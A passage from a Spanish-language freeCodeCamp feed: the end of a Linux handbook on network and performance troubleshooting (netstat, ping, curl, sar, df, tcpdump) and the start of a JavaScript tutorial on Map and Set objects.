</code></pre><p><strong>Muestra las interfaces de red:</strong></p><pre><code class="language-bash"> netstat -i
</code></pre><p><strong>Muestra el PID y los nombres de programa para las conexiones:</strong></p><pre><code class="language-bash"> netstat -p
</code></pre><p><strong>Muestra las estadísticas para un protocolo específico (por ejemplo, TCP):</strong></p><pre><code class="language-bash"> netstat -st
</code></pre><p><strong>Mostrar información extendida:</strong></p><pre><code class="language-bash">netstat -e
</code></pre><h4 id="verifica-la-conectividad-de-red-entre-dos-dispositivos-usando-ping">Verifica la conectividad de red entre dos dispositivos usando <code>ping</code></h4><p><code>ping</code> se usa para probar la conectividad de red entre dos dispositivos. Envía paquetes ICMP al dispositivo objetivo y espera una respuesta.</p><pre><code class="language-bash">ping google.com
</code></pre><p><code>ping</code> prueba si obtienes una respuesta sin recibir un tiempo de espera.</p><pre><code class="language-bash">ping google.com
PING google.com (142.250.181.46) 56(84) bytes of data.
64 bytes from fjr04s06-in-f14.1e100.net (142.250.181.46): icmp_seq=1 ttl=60 time=78.3 ms
64 bytes from fjr04s06-in-f14.1e100.net (142.250.181.46): icmp_seq=2 ttl=60 time=141 ms
64 bytes from fjr04s06-in-f14.1e100.net (142.250.181.46): icmp_seq=3 ttl=60 time=205 ms
64 bytes from fjr04s06-in-f14.1e100.net (142.250.181.46): icmp_seq=4 ttl=60 time=100 ms
^C
--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3001ms
rtt min/avg/max/mdev = 78.308/131.053/204.783/48.152 ms
</code></pre><p>Puedes detener la respuesta con <code>Ctrl + C</code>.</p><h4 id="probando-recursos-con-el-comando-curl">Probando recursos con el comando <code>curl</code></h4><p>El comando <code>curl</code> significa "URL del cliente". Se usa para transferir datos a un o de un servidor. También puede ser usado para probar recursos de una API lo que ayuda en solucionar errores de sistema y de aplicaciones.</p><p>Como un ejemplo, puedes usar <a href="http://www.official-joke-api.appspot.com/"><code>http://www.official-joke-api.appspot.com/</code></a> para experimentar con el comando <code>curl</code>.</p><ul><li>El comando <code>curl</code> sin ninguna opción usa el método GET por defecto.</li></ul><pre><code class="language-bash">curl http://www.official-joke-api.appspot.com/random_joke
{"type":"general",
"setup":"What did the fish say when it hit the wall?","punchline":"Dam.","id":1}
</code></pre><ul><li><code>curl -o</code> guarda la salida al archivo mencionado.</li></ul><pre><code class="language-bash">curl -o random_joke.json http://www.official-joke-api.appspot.com/random_joke
# saves the output to random_joke.json
</code></pre><ul><li><code>curl -I</code> busca solamente las cabeceras.</li></ul><pre><code class="language-bash">curl -I http://www.official-joke-api.appspot.com/random_joke
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Vary: Accept-Encoding
X-Powered-By: Express
Access-Control-Allow-Origin: *
ETag: W/"71-NaOSpKuq8ChoxdHD24M0lrA+JXA"
X-Cloud-Trace-Context: 2653a86b36b8b131df37716f8b2dd44f
Content-Length: 113
Date: Thu, 06 Jun 2024 10:11:50 GMT
Server: Google Frontend
</code></pre><!--kg-card-begin: html--><h3 id="solucionando-problemas-linux-herramientas-y-tecnicas">8.8. Solucionando problemas de Linux: Herramientas y Técnicas</h3><!--kg-card-end: html--><h4 id="reporte-de-actividad-del-sistema-con-sar">Reporte de actividad del Sistema con <code>sar</code></h4><p>El comando <code>sar</code> en Linux es una herramienta poderosa para recolectar, reportar, y guardar información de estadísticas del sistema. Es parte del paquete <code>sysstat</code> y es ampliamente usado para monitorear el rendimiento del sistema con el tiempo.</p><p>Para usar <code>sar</code> primero necesitas instalar <code>sysstat</code> usando <code>sudo apt install sysstat</code>.</p><p>Una vez instalado, comienza el servicio con <code>sudo systemctl start sysstat</code>.</p><p>Verifica el estado con <code>sudo systemctl status sysstat</code>.</p><p>Una vez que el estado esté activo, el sistema comenzará a recolectar varias estadísticas que puedes usar para acceder y analizar datos históricos. Veremos eso en detalle pronto.</p><p>La sintaxis del comando <code>sar</code> es como sigue:</p><pre><code class="language-bash">sar [opciones] [intervalo] [cuenta]
</code></pre><p>Por ejemplo, <code>sar -u 1 3</code> mostrará el uso de estadísticas del CPU por segundo tres veces.</p><pre><code class="language-bash">sar -u 1 3
# Salida
Linux 6.5.0-28-generic (zaira-ThinkPad)     04/06/24     _x86_64_    (12 CPU)

19:09:26        CPU     %user     %nice   %system   %iowait    %steal     %idle
19:09:27        all      3.78      0.00      2.18      0.08      0.00     93.96
19:09:28        all      4.02      0.00      2.01      0.08      0.00     93.89
19:09:29        all      6.89      0.00      2.10      0.00      0.00     91.01
Average:        all      4.89      0.00      2.10      0.06      0.00     92.95
</code></pre><p>Aquí hay algunos de los casos de uso comunes y ejemplos de cómo usar el comando <code>sar</code>.</p><p><code>sar</code> puede ser usado para una variedad de propósitos:</p><h5 id="1-uso-de-memoria">1. Uso de Memoria</h5><p>Para verificar el uso de memoria (libre y usado), usa:</p><pre><code class="language-bash">sar -r 1 3

Linux 6.5.0-28-generic (zaira-ThinkPad)     04/06/24     _x86_64_    (12 CPU)

19:10:46    kbmemfree   kbavail kbmemused  %memused kbbuffers  kbcached  kbcommit   %commit  kbactive   kbinact   kbdirty
19:10:47      4600104   8934352   5502124     36.32    375844   4158352  15532012     65.99   6830564   2481260       264
19:10:48      4644668   8978940   5450252     35.98    375852   4165648  15549184     66.06   6776388   2481284        36
19:10:49      4646548   8980860   5448328     35.97    375860   4165648  15549224     66.06   6774368   2481292       116
Average:      4630440   8964717   5466901     36.09    375852   4163216  15543473     66.04   6793773   2481279       139
</code></pre><p>Este comando muestra las estadísticas de memoria cada segundo tres veces.</p><h5 id="2-utilizaci-n-del-espacio-de-intercambio-swap-">2. Utilización del espacio de intercambio (Swap)</h5><p>Para ver las estadísticas del uso del espacio de swap, usa:</p><pre><code class="language-bash">sar -S 1 3

sar -S 1 3
Linux 6.5.0-28-generic (zaira-ThinkPad)     04/06/24     _x86_64_    (12 CPU)

19:11:20    kbswpfree kbswpused  %swpused  kbswpcad   %swpcad
19:11:21      8388604         0      0.00         0      0.00
19:11:22      8388604         0      0.00         0      0.00
19:11:23      8388604         0      0.00         0      0.00
Average:      8388604         0      0.00         0      0.00
</code></pre><p>Este comando ayuda en monitorear el uso de swap, lo cual es crucial para los sistemas que quedan sin espacio de memoria física.</p><h5 id="3-carga-de-dispositivos-i-o">3. Carga de dispositivos I/O</h5><p>Para reportar actividad de dispositivos de bloque y particiones de dispositivos de bloque:</p><pre><code class="language-bash">sar -d 1 3
</code></pre><p>Este comando provee estadísticas detallados sobre las transferencias de datos de los dispositivos de bloque, y es útil para diagnosticar cuellos de botella de I/O.</p><h5 id="5-estad-sticas-de-red">5. Estadísticas de Red</h5><p>Para ver las estadísticas de red, como el número de paquetes recibidos (transmitidos) por la interfaz de red:</p><pre><code class="language-bash">sar -n DEV 1 3
# -n DEV le dice a sar que reporte interfaces de dispositivos de red
sar -n DEV 1 3
Linux 6.5.0-28-generic (zaira-ThinkPad)     04/06/24     _x86_64_    (12 CPU)

19:12:47        IFACE   rxpck/s   txpck/s    rxkB/s    txkB/s   rxcmp/s   txcmp/s  rxmcst/s   %ifutil
19:12:48           lo      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00
19:12:48       enp2s0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00
19:12:48       wlp3s0     10.00      3.00      1.83      0.37      0.00      0.00      0.00      0.00
19:12:48    br-5129d04f972f      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00
.
.
.

Average:        IFACE   rxpck/s   txpck/s    rxkB/s    txkB/s   rxcmp/s   txcmp/s  rxmcst/s   %ifutil
Average:           lo      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00
Average:       enp2s0      0.00      0.00      0.00      0.00      0.00      0.00      0.00      0.00
...output truncated...
</code></pre><p>Esto muestra las estadísticas de red cada segundo por tres segundos, lo que ayuda en monitorear el tráfico de red.</p><h5 id="6-datos-hist-ricos">6. Datos históricos</h5><p>Recuerda que instalamos el paquete <code>sysstat</code> previamente &nbsp;y ejecutamos el servicio. Sigue los pasos de abajo para permitir y acceder a los datos históricos.</p><p><strong>Permitir recolección de datos:</strong> Edita el archivo de configuración <code>sysstat</code> para permitir la recolección de datos.</p><pre><code class="language-bash"> sudo nano /etc/default/sysstat
</code></pre><p>Cambia <code>ENABLED="false"</code> a <code>ENABLED="true"</code>.</p><pre><code class="language-bash"> vim /etc/default/sysstat
 #
 # Configuraciones predeterminadas para los archivos /etc/init.d/sysstat, /etc/cron.d/sysstat
 # y /etc/cron.daily/sysstat
 #

 # ¿Debería sadc recolectar información de la actividad del sistema? Valores válidos
 # son "true" y "false". Por favor no pongas otros valores, serán
 # anulados por debconf!
 ENABLED="true"
</code></pre><p><strong>Configura el intervalo de recolección de datos:</strong> Edita la configuración del trabajo de cron para poner el intervalo de recolección de datos.</p><pre><code class="language-bash"> sudo nano /etc/cron.d/sysstat
</code></pre><p>Por defecto, recolecta datos cada 10 minutos. Puedes ajustar el intervalo al modificar la planificación del trabajo de cron. Los archivos relevantes irán a la carpeta <code>/var/log/sysstat</code>.</p><p><strong>Ver los datos históricos:</strong> Usa el comando <code>sar</code> para ver los datos históricos. Por ejemplo, para ver el uso del CPU para el día actual:</p><pre><code class="language-bash"> sar -u
</code></pre><p>Para ver los datos desde una fecha específica:</p><pre><code class="language-bash"> sar -u -f /var/log/sysstat/sa&lt;DD&gt;
</code></pre><p>Reemplaza <code>&lt;DD&gt;</code> con el día del mes con el cual quieres ver los datos.</p><p>En el comando de abajo, <code>/var/log/sysstat/sa04</code> provee estadísticas para el cuarto día del mes actual.</p><pre><code class="language-bash">sar -u -f /var/log/sysstat/sa04
Linux 6.5.0-28-generic (zaira-ThinkPad)     04/06/24     _x86_64_    (12 CPU)

15:20:49     LINUX RESTART    (12 CPU)

16:13:30     LINUX RESTART    (12 CPU)

18:16:00        CPU     %user     %nice   %system   %iowait    %steal     %idle
18:16:01        all      0.25      0.00      0.67      0.08      0.00     99.00
Average:        all      0.25      0.00      0.67      0.08      0.00     99.00
</code></pre><h5 id="7-interrupciones-de-la-cpu-en-tiempo-real">7. Interrupciones de la CPU en tiempo real</h5><p>Para observar interrupciones en tiempo real por segundo servido por la CPU, usa este comando:</p><pre><code class="language-bash">sar -I SUM 1 3

# Salida
Linux 6.5.0-28-generic (zaira-ThinkPad)     04/06/24     _x86_64_    (12 CPU)

19:14:22         INTR    intr/s
19:14:23          sum   5784.00
19:14:24          sum   5694.00
19:14:25          sum   5795.00
Average:          sum   5757.67
</code></pre><p>Este comando ayuda a monitorear con cuanta frecuencia la CPU maneja las interrupciones, lo cual puede ser crucial para ajuste de rendimiento en tiempo real.</p><p>Estos ejemplos ilustran cómo puedes usar <code>sar</code> para monitorear varios aspectos del rendimiento de sistema. El uso regular de <code>sar</code> puede ayudar a identificar los cuellos de botella del sistema y asegurar que las aplicaciones se mantenga ejecutando de forma eficiente.</p><!--kg-card-begin: html--><h3 id="estrategia-general-para-solucionar-problemas-servidores">8.9. Estrategia General para Solucionar Problemas para los Servidores</h3><!--kg-card-end: html--><p><strong>¿Por qué necesitamos entender sobre monitoreo?</strong></p><p>El monitoreo de sistema es un aspecto importante de la administración de sistema. Las aplicaciones críticas demandan un alto nivel de proactividad para prevenir fallas y reducir el impacto de cortes.</p><p>Linux ofrece herramientas muy potentes para medir la salud del sistema. En esta sección, aprenderás sobre los varios métodos disponibles para verificar la salud del sistema e identificar los cuellos de botella.</p><h4 id="encontrar-el-promedio-de-carga-y-tiempo-de-actividad-del-sistema">Encontrar el promedio de carga y tiempo de actividad del sistema</h4><p>Los reinicios de sistema podría ocurrir lo cual puede a veces arruinar algunas configuraciones. Para verificar cuánto tiempo la máquina estuvo activa, usa el comando: <code>uptime</code>. Además del tiempo de actividad, el comando también muestra el promedio de carga.</p><pre><code class="language-bash">[user@host ~]$ uptime 19:15:00 up 1:04, 0 users, load average: 2.92, 4.48, 5.20
</code></pre><p>El promedio de carga es la carga del sistema durante los minutos 1, 5 y 15. Un vistazo rápido indica si la carga de sistema está en incremento o disminuyendo con el tiempo.</p><p>Nota: la cola de CPU ideal es <code>0</code>. Esto es posible solamente cuando no hay colas de espera para la CPU.</p><p>Cada carga de CPU puede ser calculado al dividir el promedio de carga con el número total de CPUs disponibles.</p><p>Para encontrar el número de CPUs, usa el comando <code>lscpu</code>.</p><pre><code class="language-bash">lscpu
# Salida
Architecture:            x86_64
  CPU op-mode(s):        32-bit, 64-bit
  Address sizes:         48 bits physical, 48 bits virtual
  Byte Order:            Little Endian
CPU(s):                  12
  On-line CPU(s) list:   0-11
.
.
.
Salida omitido
</code></pre><p>Si el promedio de carga parece incrementar y no se va para abajo, los CPUs están sobrecargados. Hay algún proceso que está estancado o hay fuga de memoria.</p><h4 id="calculando-memoria-libre">Calculando memoria libre</h4><p>A veces, el alto uso de memoria podría causar problemas. Para verificar la memoria disponible y la memoria en uso, usa el comando <code>free</code>.</p><pre><code class="language-bash">free -mh
# Salida
               total        used        free      shared  buff/cache   available
Mem:            14Gi       3.5Gi       7.7Gi       109Mi       3.2Gi        10Gi
Swap:          8.0Gi          0B       8.0Gi
</code></pre><h4 id="calculando-el-espacio-de-disco">Calculando el espacio de disco</h4><p>Para asegurarse que el sistema está saludable, no te olvides sobre el espacio de disco. Para listar todos los puntos de montaje disponible y su porcentaje usado respectivamente, usa el comando de abajo. Idealmente, los espacios de disco utilizados no deberían exceder un 80%.</p><p>El comando <code>df</code> provee espacios de disco detallados.</p><pre><code class="language-bash">df -h
Filesystem      Size  Used Avail Use% Mounted on
tmpfs           1.5G  2.4M  1.5G   1% /run
/dev/nvme0n1p2  103G   34G   65G  35% /
tmpfs           7.3G   42M  7.2G   1% /dev/shm
tmpfs           5.0M  4.0K  5.0M   1% /run/lock
efivarfs        246K   93K  149K  39% /sys/firmware/efi/efivars
/dev/nvme0n1p3  130G   47G   77G  39% /home
/dev/nvme0n1p1  511M  6.1M  505M   2% /boot/efi
tmpfs           1.5G  140K  1.5G   1% /run/user/1000
</code></pre><h4 id="determinando-los-estados-de-proceso">Determinando los estados de proceso</h4><p>Los estados de proceso pueden ser monitoreados para ver cualquier proceso estancado con un alto uso de memoria o de CPU.</p><p>Vimos anteriormente que el comando <code>ps</code> nos da información útil sobre un proceso. Pega un vistazo a las columnas <code>CPU</code> y <code>MEM</code>.</p><pre><code class="language-bash">[user@host ~]$ ps aux
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
 runner         1  0.1  0.0 1535464 15576 ?       S  19:18   0:00 /inject/init
 runner        14  0.0  0.0  21484  3836 pts/0    S   19:21   0:00 bash --norc
 runner        22  0.0  0.0  37380  3176 pts/0    R+   19:23   0:00 ps aux
</code></pre><h4 id="monitoreo-del-sistema-en-tiempo-real">Monitoreo del sistema en tiempo real</h4><p>El monitoreo en tiempo real provee una ventana en el estado del sistema en tiempo real.</p><p>Una utilidad que puedes usar para hacer esto es el comando <code>top</code>.</p><p>El comando de arriba muestra una vista dinámica de los procesos del sistema, mostrando un resumen de la cabecera seguido de un proceso o una lista de hilos. A diferencia de su contraparte estática <code>ps</code>, <code>top</code> refresca continuamente las estadísticas del sistema.</p><p>Con <code>top</code>, puedes ver detalles bien organizados en una ventana compacta. Hay un número de argumentos, atajos y métodos resaltados que vienen junto con <code>top</code>.</p><p>También puedes matar procesos usando <code>top</code>. Para eso, presiona <code>k</code> y luego ingresa el id del proceso.</p><h4 id="interpretando-archivos-log">Interpretando archivos log</h4><p>Los archivos log de sistema y de aplicaciones conllevan muchísima información sobre el cual el sistema está pasando. Contienen información útil y códigos de error que apuntan a errores. Si buscas códigos de errores en los archivos log, la identificación de problemas y el tiempo de rectificación pueden ser reducidos enormemente.</p><h4 id="an-lisis-de-puertos-de-red">Análisis de puertos de Red</h4><p>El aspecto de red no debería ser ignorado ya que los fallos de red son comunes y podrían impactar en el sistema y en el flujo de tráfico. Problemas de red comunes incluyen agotamiento de puerto, asfixia de puerto, recursos sin liberarse, etcétera.</p><p>Para identificar tales problemas, necesitamos entender los estados de puerto.</p><p>Algunos de los estados de puertos son explicados de forma breve aquí:</p><!--kg-card-begin: html--><table>
<thead>
<tr>
<th><strong>Estado</strong></th>
<th><strong>Descripción</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td>LISTEN</td>
<td>Representa a los puertos que están esperando una solicitud de conexión de cualquier TCP y puerto remoto.</td>
</tr>
<tr>
<td>ESTABLISHED</td>
<td>Representa a las conexiones que están abiertas y los datos recibidos pueden ser entregados a su destino.</td>
</tr>
<tr>
<td>TIME WAIT</td>
<td>Representa el tiempo de espera para asegurar el reconocimiento de su solicitud de terminación de la conexión.</td>
</tr>
<tr>
<td>FIN WAIT2</td>
<td>Representa la espera de una solicitud de terminación de conexión del TCP remoto.</td>
</tr>
</tbody>
</table><!--kg-card-end: html--><p>Exploremos cómo podemos analizar la información relacionado a los puertos en Linux.</p><p><strong>Rangos de Puerto:</strong> Los rangos de puerto son definidos en el sistema, y los rangos pueden ser aumentados/disminuidos respectivamente. En el fragmento de abajo, el rango es desde <code>15000</code> a <code>65000</code>, lo cual hace un total de <code>50000</code> (65000 - 15000) de puertos disponibles. Si los puertos utilizados están alcanzando o excediendo este límite, entonces hay un problema.</p><pre><code class="language-bash">[user@host ~]$ /sbin/sysctl net.ipv4.ip_local_port_range
net.ipv4.ip_local_port_range = 15000    65000
</code></pre><p>El error reportado en los archivos log en tales casos puede ser <code>Failed to bind to port</code> o <code>Too many connections</code>.</p><h4 id="identificando-p-rdidas-de-paquetes">Identificando pérdidas de paquetes</h4><p>En el monitoreo de sistema, necesitamos asegurarnos que la comunicación entrante y saliente está intacto.</p><p>Un comando útil es <code>ping</code>. <code>ping</code> llega al sistema destinatario y trae de vuelta la respuesta. Fíjate que las últimas pocas líneas de estadísticas que muestran el porcentaje y tiempo de la pérdida de los paquetes.</p><pre><code class="language-bash"># ping IP destinatario
[user@host ~]$ ping 10.13.6.113
 PING 10.13.6.141 (10.13.6.141) 56(84) bytes of data.
 64 bytes from 10.13.6.113: icmp_seq=1 ttl=128 time=0.652 ms
 64 bytes from 10.13.6.113: icmp_seq=2 ttl=128 time=0.593 ms
 64 bytes from 10.13.6.113: icmp_seq=3 ttl=128 time=0.478 ms
 64 bytes from 10.13.6.113: icmp_seq=4 ttl=128 time=0.384 ms
 64 bytes from 10.13.6.113: icmp_seq=5 ttl=128 time=0.432 ms
 64 bytes from 10.13.6.113: icmp_seq=6 ttl=128 time=0.747 ms
 64 bytes from 10.13.6.113: icmp_seq=7 ttl=128 time=0.379 ms
 ^C
 --- 10.13.6.113 ping statistics ---
 7 packets transmitted, 7 received,0% packet loss, time 6001ms
 rtt min/avg/max/mdev = 0.379/0.523/0.747/0.134 ms
</code></pre><p>Los paquetes también pueden ser capturados en tiempo de ejecución usando <code>tcpdump</code>. Veremos esto más adelante.</p><h4 id="reuniendo-estad-sticas-para-problemas-cr-ticos">Reuniendo estadísticas para problemas críticos</h4><p>Siempre es una buena práctica reunir ciertas estadísticas que sería útil para identificar la causa raíz luego. Usualmente, después del reinicio del sistema o del reinicio de los servicios, perdemos los instantáneos y archivos log previos del sistema.</p><p>Abajo hay algunos de los métodos para capturar el instantáneo del sistema.</p><ul><li><strong>Copia de seguridad de los Archivos Log</strong></li></ul><p>Antes de hacer cualquier cambio, copia los archivos log a otra ubicación. Esto es crucial para entender en qué condición estaba el sistema durante el tiempo del problema. A veces los archivos de registro son la única ventana para ver los estados anteriores del sistema ya que se pierden otras estadísticas de tiempo de ejecución.</p><ul><li><strong>TCP Dump</strong></li></ul><p>Tcpdump es una utilidad de línea de comandos que te permiten capturar y analizar tráfico de red entrante y saliente. Es mayormente usado para ayudar a solucionar problemas de red. Si sientes que el tráfico de sistema está siendo impactado, toma a <code>tcpdump</code> como sigue:</p><pre><code class="language-bash">sudo tcpdump -i any -w

# Donde,
# -i any captura tráfico de todas las interfaces
# -w especifica la salida del nombre de archivo

# Para el comando después de unos pocos mins ya que el tamaño del archivo podría incrementar
# usa la extensión de archivo como .pcap
</code></pre><p>Una vez que el <code>tcpdump</code> es capturado, puedes usar herramientas como Wireshark para analizar el tráfico de forma visual.</p><!--kg-card-begin: html--><h3 id="conclusion">Conclusión</h3><!--kg-card-end: html--><p>Gracias por leer el libro hasta el final. Si lo encontraste útil, considera compartirlo con los demás.</p><p>Este libro no termina aquí. Continuaré mejorándolo y agregando nuevos materiales en el futuro. Si encontraste algún problema o te gustaría sugerir alguna mejora, <a href="https://github.com/zairahira/Mastering-Linux-Handbook">no dudes en abrir una PR / Issue</a>.</p><p><strong>¡Manténte conectado y continúa tu jornada de aprendizaje!</strong></p><p>Tu jornada con Linux no tiene que terminar aquí. Manténte contectado y lleva tus habilidades al siguiente nivel:</p><ol><li><strong>Sígueme en las redes sociales</strong>:</li><li><a href="https://twitter.com/hira_zaira"><strong>X</strong></a>: Comparto contenido útil de forma corta allí. Mi DMs están siempre abiertos.</li><li><a href="https://www.linkedin.com/in/zaira-hira/"><strong>LinkedIn</strong></a>: Comparto artículos y posts sobre tech allí. Deja una recomendación en LinkedIn y apóyame en habilidades relevantes.</li><li><strong>Obtén acceso a contenido exclusivo</strong>: Para una ayuda personal y contenido exclusivo ve <a href="https://buymeacoffee.com/zairah/extras">aquí</a>.</li></ol><p>Mis <a href="https://www.freecodecamp.org/news/author/zaira/">artículos</a> y libros, como este, son parte de mi misión para aumentar el acceso a contenido de calidad para todos. Este libro también estará abierto para ser traducido a otros idiomas. Cada pieza toma mucho tiempo y esfuerzo para escribir. Este libro estará gratuito, para siempre. Si has disfrutado mi trabajo y quieres mantenerme motivado, considera <a href="https://buymeacoffee.com/zairah">comprarme un café</a>.</p><p>Gracias una vez más y, ¡feliz aprendizaje!</p> ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Cómo usar los Objetos Map y Set de JavaScript: Explicado con ejemplos de código ]]>
                </title>
                <description>
                    <![CDATA[ Map y Set son dos estructuras de datos de JavaScript que puedes usar para almacenar una colección de valores, similares a los Objetos y Arreglos. Son estructuras de datos especializados que te pueden ayudar en almacenar y manipular valores relativos. En este tutorial, veremos cómo funcionan Map y Set en ]]>
                </description>
                <link>https://www.freecodecamp.org/espanol/news/como-usar-los-objetos-map-y-set-de-javascript-explicado-con-ejemplos-de-codigo/</link>
                <guid isPermaLink="false">66912627b99552046f705c9f</guid>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Elias Ezequiel Pereyra Gomez ]]>
                </dc:creator>
                <pubDate>Mon, 29 Jul 2024 21:07:08 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/espanol/news/content/images/2024/07/javascript-mat-and-set-objects-introduction.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p data-test-label="translation-intro">
        <strong>Artículo original:</strong> <a href="https://www.freecodecamp.org/news/javascript-map-and-set-objects-explained/" target="_blank" rel="noopener noreferrer" data-test-label="original-article-link">How to Use the JavaScript Map and Set Objects – Explained with Code Examples</a>
      </p><p>Map y Set son dos estructuras de datos de JavaScript que puedes usar para almacenar una colección de valores, similares a los Objetos y Arreglos. Son estructuras de datos especializados que te pueden ayudar en almacenar y manipular valores relativos.</p><p>En este tutorial, veremos cómo funcionan Map y Set en detalle y saber cuándo usarlos. También exploraremos los métodos de composición de objetos de Set que fueron agregados recientemente al estándar de JavaScript.</p><h2 id="tabla-de-contenidos"><strong>Tabla de Contenidos</strong></h2><ul><li><a href="#objecto-map-explicado">El Objeto Map explicado</a></li><li><a href="#como-crear-objeto-map">Cómo crear un objeto Map</a></li><li><a href="#metodos-propiedades-objeto-map">Métodos y Propiedes de un Objeto Map</a> </li><li><a href="#otras-formas-crear-objeto-map">Otras formas de crear un Objeto Map</a></li><li><a href="#iterar-datos-objeto-map">Iterar sobre datos del Objeto Map</a></li><li><a href="#cuando-usar-objeto-map">Cuándo usar el Objeto Map</a></li><li><a href="#objeto-set-explicado">El Objeto Set explicado</a></li><li><a href="#como-crear-objeto-set">Cómo crear un Objeto Set</a></li><li><a href="#metodos-propiedades-objeto-set">Métodos y Propiedades del Objeto Set</a></li><li><a href="#metodos-composicion-set">Métodos de Composición de Set</a></li><li><a href="#iterar-objeto-set">Iterar sobre un Objeto Set</a></li><li><a href="#cuando-usar-objeto-set">Cuándo usar el Objeto Set</a></li><li><a href="#conclusion">Conclusión</a></li></ul><!--kg-card-begin: html--><h2 id="objecto-map-explicado">El Objeto Map explicado</h2><!--kg-card-end: html--><p>El objeto <code>Map</code> almacena los datos en una estructura de par clave/valor, así como un Objeto. Las principales diferencias entre un objeto regular y un <code>Map</code> son: </p><ul><li>Un objeto <code>Map</code> puede tener cualquier tipo de datos como el valor clave</li><li>Un objeto <code>Map</code> mantiene el orden de los datos agregados al objeto</li></ul><!--kg-card-begin: html--><h3 id="como-crear-objeto-map">Cómo crear un Objeto Map</h3><!--kg-card-end: html--><p>Para crear un objeto <code>Map</code>, puedes llamar al constructor <code>Map()</code> de esta forma:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const myMap = new Map();</code></pre><figcaption>Crea un objeto Map en JavaScript</figcaption></figure><p>El código de arriba crea un nuevo objeto <code>Map</code> vacío.</p><!--kg-card-begin: html--><h3 id="metodos-propiedades-objeto-map">Métodos y Propiedades de un Objeto Map</h3><!--kg-card-end: html--><p>Un objeto <code>Map</code> tiene los siguientes métodos y propiedades:</p><ul><li><code>set(key, value)</code> – Agrega un par clave/valor a un Map</li><li><code>get(key)</code> – Devuelve un valor desde un Map (regresa <code>undefined</code> si la clave no existe)</li><li><code>has(key)</code> – Verifica si un Map tiene una clave específica</li><li><code>delete(key)</code> – Quita una clave específica desde un Map</li><li><code>clear()</code> – Quita todos los elementos de un Map</li><li><code>keys()</code> – Devuelve todas las claves en un Map</li><li><code>values()</code> – Devuelve todos los valores en un Map</li><li><code>entries()</code> – Devuelve todas las claves y valores en un Map</li><li><code>size</code> – Devuelve el número de items de un Map</li></ul><p>Para insertar datos en el objeto <code>Map</code>, puedes usar el método <code>set()</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const myMap = new Map();

myMap.set(1, 'Jack');
myMap.set(2, 'Jill');
myMap.set('animal', 'Elefante');</code></pre><figcaption>Insertando valores al objeto Map</figcaption></figure><p>El código de arriba crea un objeto <code>Map</code> con 3 entradas de la siguiente forma:</p><figure class="kg-card kg-code-card"><pre><code class="language-txt">Map(3)
0: {1 =&gt; "Jack"}
1: {2 =&gt; "Jill"}
2: {"animal" =&gt; "Elefante"}</code></pre><figcaption>Las entradas del objeto Map</figcaption></figure><p>Para recuperar un valor desde el objeto <code>Map</code>, necesitas usar el método <code>get()</code> y pasar la clave como su argumento.</p><figure class="kg-card kg-code-card"><pre><code class="language-js">console.log(myMap.get(1)); // Jack

console.log(myMap.get('animal')); // Elefante

</code></pre><figcaption>Recuperando valores del objeto Map</figcaption></figure><p>Para ver cuántos pares de clave/valor tiene un <code>Map</code>, puedes acceder a la propiedad <code>size</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">myMap.size; // 3</code></pre><figcaption>Accediendo a la propiedad Map.size</figcaption></figure><p>Para ver si una cierta clave existe en un objeto <code>Map</code>, puedes usar el método <code>has()</code>. Mira el ejemplo de abajo:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">myMap.has(1); // true

myMap.has(10); // false</code></pre><figcaption>Usando el método Map.has()</figcaption></figure><p>Para quitar un par clave/valor de un objeto <code>Map</code>, puedes usar el método <code>delete()</code> y pasarle la clave de la par que quieres quitar de la siguiente forma:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">myMap.delete(1);

console.log(myMap);
// 0: {2 =&gt; "Jill"}
// 1: {"animal" =&gt; "Elefante"}</code></pre><figcaption>Eliminando un entrada del objeto Map</figcaption></figure><p>Si quieres quitar todos los pares clave/valor, puedes usar el método <code>clear()</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">myMap.clear();

console.log(myMap); // Map(0) {size: 0}</code></pre><figcaption>Limpiando un objeto Map</figcaption></figure><!--kg-card-begin: html--><h3 id="otras-formas-crear-objeto-map">Otras formas de crear un Objeto Map</h3><!--kg-card-end: html--><p>También puedes crear un objeto <code>Map</code> desde un Arreglo de la siguiente manera:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const myMap = new Map([
  [1, 'Jack'],
  [2, 'Jill'],
  ['animal', 'Elefante'],
]);</code></pre><figcaption>Creando un Map desde un Arreglo</figcaption></figure><p>Cuando creas un <code>Map</code> desde un Arreglo, necesitas crear un arreglo de dos dimensiones y especificar dos elementos en cada arreglo.</p><p>El primer elemento será la clave, el segundo elemento será el valor. Cualquier otro valor extra en el arreglo será ignorado.</p><p>En el ejemplo de abajo, el valor "Johnson" del primer arreglo será ignorado por el constructor <code>Map()</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const myMap = new Map([
  [1, 'Jack', 'Johnson'], // el valor 'Johnson' es ignorado
  [2, 'Jill'],
  ['animal', 'Elefante'],
]);</code></pre><figcaption>Creating a Map from an array with more than two values&nbsp;</figcaption></figure><p>Así como puedes crear un objeto <code>Map</code> desde un arreglo, también puedes crear uno desde un objeto. Necesitas transformar el objeto en un arreglo primero, usando el método <code>Object.entries()</code>.</p><p>El siguiente ejemplo muestra cómo usar un objeto para crear un <code>Map</code>:</p><figure class="kg-card kg-code-card"><pre><code class="language-js">const person = {
    'name': 'Jack',
    'age': 20,
}

const myMap = new Map(Object.entries(person));

